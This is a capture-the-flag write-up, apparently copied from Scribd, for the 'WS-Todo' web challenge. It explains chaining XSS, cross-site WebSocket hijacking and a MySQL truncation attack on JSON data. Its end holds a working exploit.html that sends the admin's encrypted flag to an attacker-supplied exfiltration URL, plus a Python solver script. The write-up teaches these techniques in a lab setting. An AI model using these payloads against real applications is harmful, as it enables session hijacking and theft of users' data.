0% found this document useful (0 votes)
7 views16 pages

WS Todo

Uploaded by

sieudat123
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
7 views16 pages

WS Todo

Uploaded by

sieudat123
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 16

WS-Todo

08th Jan 2024 / D24.102.21

Prepared By: Xclow3n

Challenge Author(s): zeyu2001

Difficulty: Medium

Classification: Official

Synopsis
The challenge involves performing websocket hijacking and chaining it with SQL truncation attack
on JSON data to overwrite a key-value pair.

Skills Required
Basic understanding of SQL injection

Source code review

Understanding of XSS

Skills Learned
SQL Truncation Attack

Understanding of same-site & same-origin

WebSocket Hijacking

Solution
Todo Application Review
Visiting the application displays the following authentication page:
After registering and logging in, it displays the following tasks page, which takes two inputs from
the user:

task title

task description:
We can add tasks and tick the finished tasks; that's the functionality of this to-do web application.

HTML Tester Application Review


There is one more web application that is running on port 8080. Visiting it displays the following
page:

This application takes one input; if we provide it with HTML, it will render it, for example, passing
<h1>. This is my input</h1> renders our heading on the page, which also means this is
vulnerable to XXS:
That's all the functionality the second application has.

Source Code Review


Routes

Let's begin by looking at the routes/index.js to understand the basic functionality this
application has:

router.post('/register', async (req, res) => {


const username = req.body.username;
const password = req.body.password;

if (!username || !password) {
return res.status(400).json({
error: 'Missing username or password'
});
}

if (password.length < 8) {
return res.status(400).json({
error: 'Password must be at least 8 characters long'
});
}

if (await db.userExists(username)) {
return res.status(400).json({ error: 'User already exists' });
} else {
const secret = crypto.randomBytes(16).toString('hex');
await db.registerUser(username, password, secret);
return res.status(200).json({ success: 'User registered' });
}

return res.status(200).json({ success: true });


});

The register route takes the username and password from the user and checks the following
things:

username and password are not empty

password length is not less than 8

username is not unique


If all these checks pass, the application generates a 16-character hexadecimal secret value and
stores it in the database.

router.get('/secret', async (req, res) => {


const result = await db.getSecret(req.session.userId);
if (result) {
return res.status(200).json({ secret: result });
}
return res.status(400).json({ error: 'No secret found' });
});

The /secret endpoint passes the current userId to the getSecret function, which returns the
16-character long hexadecimal secret value created during the registration and returns the secret
to the user.

router.post('/decrypt', async (req, res) => {


if (!req.body.secret) {
return res.status(400).json({ error: 'Missing secret' });
}

if (!req.body.cipher) {
return res.status(400).json({ error: 'Missing cipher' });
}

try {
const result = decrypt(req.body.cipher, req.body.secret);
return res.status(200).json({ decrypted: result });
} catch (e) {
return res.status(400).json({ error: 'Invalid key or cipher' });
}
});

The /decrypt endpoint takes the secret and cipher from the user, decrypts it, and returns the
decrypted data to the user.

// Report any suspicious activity to the admin!


router.post('/report', doReportHandler);

The /report endpoint executes the doReportHandler function defined in utils/report.js :

const puppeteer = require('puppeteer')


const LOGIN_URL = "http://127.0.0.1/login";

let browser = null

const visit = async (url) => {


const ctx = await browser.createIncognitoBrowserContext()
const page = await ctx.newPage()
await page.goto(LOGIN_URL, { waitUntil: 'networkidle2' })
await page.waitForSelector('form')
await page.type('wired-input[name=username]', process.env.USERNAME)
await page.type('wired-input[name=password]', process.env.PASSWORD)
await page.click('wired-button')

try {
await page.goto(url, { waitUntil: 'networkidle2' })
} finally {
await page.close()
await ctx.close()
}
}

const doReportHandler = async (req, res) => {


... SNIP ...

const url = req.body.url


if (
url === undefined ||
(!url.startsWith('http://') && !url.startsWith('https://'))
) {
return res.status(400).send({ error: 'Invalid URL' })
}

try {
console.log(`[*] Visiting ${url}`)
await visit(url)
console.log(`[*] Done visiting ${url}`)
return res.sendStatus(200)
} catch (e) {
console.error(`[-] Error visiting ${url}: ${e.message}`)
return res.status(400).send({ error: e.message })
}
}
... SNIP ...

The doReportHandler function fires up a puppeteer chrome bot and login into the todo
application as admin, and then it visits the URL provided by the user if the URL starts with either
http:// or https:// .

Middleware and WebSocket

That's almost all the routes defined, but we still do not know how the application adds tasks.
Looking at index.js reveals that the application is using authenticationMiddleware ,
antiCSRFMiddleware , and WebSocket .

app.use(authenticationMiddleware);
app.use(antiCSRFMiddleware);
app.use(routes(db, sessionParser));
app.ws('/ws', wsHandler(db, sessionParser));
Authentication Middleware

Starting with the authenticationMiddleware defined in


middleware/authenticationMiddleware.js :

const authenticationMiddleware = (req, res, next) => {


if (req.originalUrl === '/login' || req.originalUrl === '/register') {
return next();
}

if (req.session.userId) {
return next();
}
return res.redirect('/login');
}

module.exports = authenticationMiddleware;

Let's break down the code, and this is the flow of this middleware.

1. URL Check:

The middleware checks if the requested URL is either /login or /register using the
req.originalUrl property.

If the URL is /login or /register , the middleware allows the request to proceed to
the next middleware or route handler by calling next().

2. Session Check:

If the URL differs from /login and /register , the middleware checks if there is a
userId property in the session (req.session.userId).

If a userId is present in the session, the middleware allows the request to proceed by
calling next() .

3. Redirect or Block:

If the URL is not /login or /register and there is no userId in the session, the
middleware redirects the user to the /login page using res.redirect('/login') .
This prevents unauthenticated users from accessing specific routes.

Every HTTP request ensures that specific routes (/login and /register) are accessible without
authentication. For other routes, it checks if the user is authenticated based on the presence of a
userId in the session. If not authenticated, it redirects the user to the /login page.

AntiCSRF Middleware

Moving on to antiCSRFMiddleware
const antiCSRFMiddleware = (req, res, next) => {
const referer = (req.headers.referer? new URL(req.headers.referer).host :
req.headers.host);
const origin = (req.headers.origin? new URL(req.headers.origin).host :
null);

if (req.headers.host === (origin || referer)) {


next();
} else {
return res.status(403).json({ error: 'CSRF detected' });
}
};

module.exports = antiCSRFMiddleware;

1. Middleware Function:

The code defines a middleware function named antiCSRFMiddleware that takes three
parameters: req (request), res (response), and next (callback function to pass control to
the next middleware in the stack).

2. Referer and Origin Extraction:

It extracts the referer and origin values from the request headers.

If the referer header is present, it extracts the host from the URL; otherwise, it uses the
host header directly.

If the origin header is present, it extracts the host from the URL; otherwise, it sets the
origin to null.

3. CSRF Check:

It checks if the host from the request headers matches either the origin or the referer.
This check ensures that the request originates from the same host or origin that served
the page.

If the check passes, the middleware allows the request to proceed to the next
middleware or route handler by calling next().

If the check fails, it returns a 403 Forbidden status with a JSON response containing an
error message indicating that CSRF (Cross-Site Request Forgery) has been detected.

An important thing to note here is that the antiCSRFMiddleware is only applied to regular
HTTP requests and not WebSocket upgrade requests.

Websockets

Moving on to the web sockets.

The static/index.js is the client-side code that handles web sockets; let's break down the
WebSocket code.

ws.onopen = () => {
ws.send(JSON.stringify({ action: 'get' }));
}

The above code establishes a WebSocket connection (ws) and sends a JSON message with the
action 'get' to the server when the connection opens.
ws.onmessage = async (msg) => {
const data = JSON.parse(msg.data);
if (data.success) {
if (data.action === 'get') {
const secret = await fetch('/secret').then(res =>
res.json()).then(data => data.secret);
for (const task of data.tasks) {
showTask({
title: {
iv: task.title.iv,
content: await decrypt(task.title, secret)
},
description: {
iv: task.description.iv,
content: await decrypt(task.description, secret)
},
quote: {
iv: task.quote.iv,
content: await decrypt(task.quote, secret)
}
});
}
}
else if (data.action === 'add') {
taskForm.reset();
}
}
else {
Swal.fire({
icon: 'error',
title: 'Oops...',
text: data.error
});
}
}

The above code handles incoming messages from the server.

1. WebSocket Message Handler:

This code sets up an event handler for when a message is received on the WebSocket
(WS).

2. Message Processing:

It parses the received message (msg) as JSON, creating an object called data.

3. Success Check:

It checks if the received data indicates success (data.success).

4. Action Handling:

If successful, it further checks the action type specified in the data (data.action).

If the action is 'get,' it fetches a secret from '/secret' on the server and decrypts and
displays tasks using the secret.

If the action is 'add', it resets a form (taskForm).


5. Error Handling:

If the received data indicates an error, it shows an error message using a Swal library
(SweetAlert).

Let's move on to the server-side code for the WebSockets, which is defined in wsHandler.js

const wsHandler = (ws, req) => {


let userId;
sessionParser(req, {}, () => {
if (req.session.userId) {
userId = req.session.userId;
} else {
ws.close();
}
});

The WebSocket handler obtains the user's session ID during the WebSocket upgrade request
through the session cookies.

ws.on('message', async (msg) => {


const data = JSON.parse(msg);
const secret = await db.getSecret(req.session.userId);

if (data.action === 'add') {


try {
await db.addTask(userId,
`{"title":"${data.title}","description":"${data.description}","secret":"${secre
t}"}`);
ws.send(JSON.stringify({ success: true, action: 'add' }));
} catch (e) {
ws.send(JSON.stringify({ success: false, action: 'add' }));
}
}
else if (data.action === 'get') {
try {
const results = await db.getTasks(userId);
const tasks = [];
for (const result of results) {

let quote;

if (userId === 1) {
quote = `A wise man once said, "the flag is
${process.env.FLAG}".`;
} else {
quote = quotes[Math.floor(Math.random() *
quotes.length)];
}

try {
const task = JSON.parse(result.data);
tasks.push({
title: encrypt(task.title, task.secret),
description: encrypt(task.description,
task.secret),
quote: encrypt(quote, task.secret)
});
} catch (e) {
console.log(`Error parsing task ${result.data}: ${e}`);
}
}
ws.send(JSON.stringify({ success: true, action: 'get', tasks:
tasks }));
} catch (e) {
ws.send(JSON.stringify({ success: false, action: 'get' }));
}
}
else {
ws.send(JSON.stringify({ success: false, error: 'Invalid action'
}));
}
});

1. Message Event Handler:

The code creates an event handler for the 'message' event on the WebSocket (WS).

2. Message Processing:

It parses the received message (msg) as JSON, creating an object called data.

3. Secret Retrieval:

It asynchronously retrieves a secret from a database ( db.getSecret ) based on the


user's session ID ( req.session.userId ).

4. Action Handling:

Depending on the value of data.action:

If the action is 'add,' it tries to add a task to the database (db.addTask) with the
provided title, description, and secret. It then sends a success or failure message
back to the client.

If the action is 'get':

If userId is equal to 1, it assigns a specific quote related to the flag: quote = A


wise man once said, `the flag is ${process.env.FLAG} `` This quote is then
used for each task being processed.

For other users (when userId is not equal to 1), it generates a random quote
from the quotes array for each task.

It retrieves tasks from the database (db.getTasks) associated with the user and
processes each task. It encrypts the task details (title, description, and quote) using
the task's secret for each task. The encrypted tasks are then sent back to the client.

5. Error Handling:

If errors occur during the 'add' or 'get' actions, it sends a failure message back to the
client.

6. Invalid Action Handling:

If the received action is neither 'add' nor 'get,' it sends an error message to the client
indicating an invalid action.
Websockets Hijacking
Now we understand the application. The question is how we can get the flag. First, we will need an
admin session because the WebSocket logic defined in wsHandler.js has the following condition,
which returns a quote with the user's tasks.

if (userId === 1) {
quote = `A wise man once said, "the flag is ${process.env.FLAG}".`;
} else {
quote = quotes[Math.floor(Math.random() * quotes.length)];
}

The challenge provides an HTML Tester Application vulnerable to XSS, and a report functionality
opens the URL supplied to the /report endpoint in a Chrome browser after logging in to the todo
application to simulate admin opening a link.

The HTML Tester Application is running on port 8080 , and the Todo application is running on
port 80 ; for the browser, these two sites are the Same Site but cross-origin, which means any
request going from the HTML Tester Application to the Todo application , the browser will
automatically send the cookies, and the antiCSRFMiddleware do not work on Protocol Upgrade
Request.

This means we can hijack the websockets of the admin user, add new tasks, and get tasks from the
admin user.

But we still cannot read the tasks, as the application encrypts the task with a random secret and
stores it in a database for each task.
SQL Truncation Attack
Looking over the task add functionality again, we see something interesting.

if (data.action === 'add') {


try {
await db.addTask(userId,
`{"title":"${data.title}","description":"${data.description}","secret":"${secre
t}"}`);
ws.send(JSON.stringify({ success: true, action: 'add' }));
} catch (e) {
ws.send(JSON.stringify({ success: false, action: 'add' }));
}
}

The application directly adds our input title , description , and secret into JSON data
inserted into the database. If we can somehow overwrite the secret to encrypt the contents, we
can decrypt the admin's quite easily since the quote is added to all the tasks the admin might
have.

In the MySQL documentation, we can see that when processing CHAR or VARCHAR data, strict SQL
mode is essential.

If strict SQL mode is not enabled and you assign a value to a CHAR or VARCHAR
column that exceeds the column's maximum length, the value is truncated to fit
and a warning is generated. For truncation of nonspace characters, you can
cause an error to occur (rather than a warning) and suppress insertion of the
value by using strict SQL mode. See Section 5.1.11, "Server SQL Modes".

Looking at config/supervisord.conf , the list of SQL modes does not contain the strict SQL
mode. Therefore, CHAR or VARCHAR data that exceeds the column's maximum length will be
silently truncated, and no error is thrown.

[program:mysql]
# Set MySQL modes: https://dev.mysql.com/doc/refman/8.0/en/sql-mode.html
command=/usr/bin/pidproxy /var/run/mysqld/mysqld.pid /usr/sbin/mysqld --sql-
mode="NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTIT
UTION"
autorestart=true

All we need to do is to escape out of the "description":"${data.description}" injection point


and pad the data with sufficient characters such that the 255-byte limit cuts off nicely at the
ending } . So if we pass something like this

{"title":"x","description":"x","secret":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","x":
"x ... (until 255 bytes) ... x"}

The application will try to run the following SQL insert query:
INSERT INTO todos (user_id, data) VALUES (1, "
{\"title\":\"x\",\"description\":\"x\",\"secret\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaa\",\"x\":\"x ... (until 255 bytes) ... x\"}\", \"secret\":\"...16
character long hexadecimal ...\"}");

The SQL server will strip the characters after 255 bytes \", \"secret\":\"...16 characters
long hexadecimal ...\"} and when this data is retrieved, our custom secret is used (in this case
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ). This allows us to decrypt the data and get the flag easily.

Exploit
We can build the following exploit

exploit.html

<html>

<body>
<script>
const HOST = "127.0.0.1";
const SECRET = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaxa";
const EXFIL_URL = "EXFIL_URL_HERE";

const ws = new WebSocket(`ws://${HOST}/ws`);

ws.onopen = () => {

const title = "title";

let curr =
`{"title":"${title}","description":"","secret":"${SECRET}","x":""}`;
let pad = 'x'.repeat(255 - curr.length);
payload = `","secret":"${SECRET}","x":"${pad}"}`;

ws.send(JSON.stringify({
"action": "add",
"title": title,
"description": payload
}));

ws.send(JSON.stringify({
"action": "get"
}));zz
};

ws.onmessage = (msg) => {


const data = JSON.parse(msg.data);
if (data.action == "get") {
const tasks = data.tasks;
for (let i = 0; i < tasks.length; i++) {
const task = tasks[i];
const encryptedQuote = task.quote;
fetch(`${EXFIL_URL}?
iv=${encryptedQuote.iv}&content=${encryptedQuote.content}`);
}
}
};

</script>
</body>

</html>

solver.py

import requests
import urllib.parse

BASE_URL = "http://127.0.0.1"
XSS_URL = "http://127.0.0.1:8080"

s = requests.Session()

s.post(f"{BASE_URL}/register", json={"username": "asdf1234", "password":


"asdf1234"})
s.post(f"{BASE_URL}/login", json={"username": "asdf1234", "password":
"asdf1234"})

with open("exploit.html") as f:
exploit = f.read()

exfil_url = input("Enter exfil URL: ")

exploit = exploit.replace("EXFIL_URL_HERE", exfil_url)


exploit_url = f"{XSS_URL}?html={urllib.parse.quote(exploit)}"

s.post(f"{BASE_URL}/report", json={"url": exploit_url})

iv = input("Received IV: ")


cipher = input("Received ciphertext: ")

r = s.post(f"{BASE_URL}/decrypt", json={
"cipher": {
"iv": iv,
"content": cipher
}, "secret": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
})

decrypted = r.json().get("decrypted")
print(f"Decrypted: {decrypted}")

Running it and providing the input it takes gives us the flag

You might also like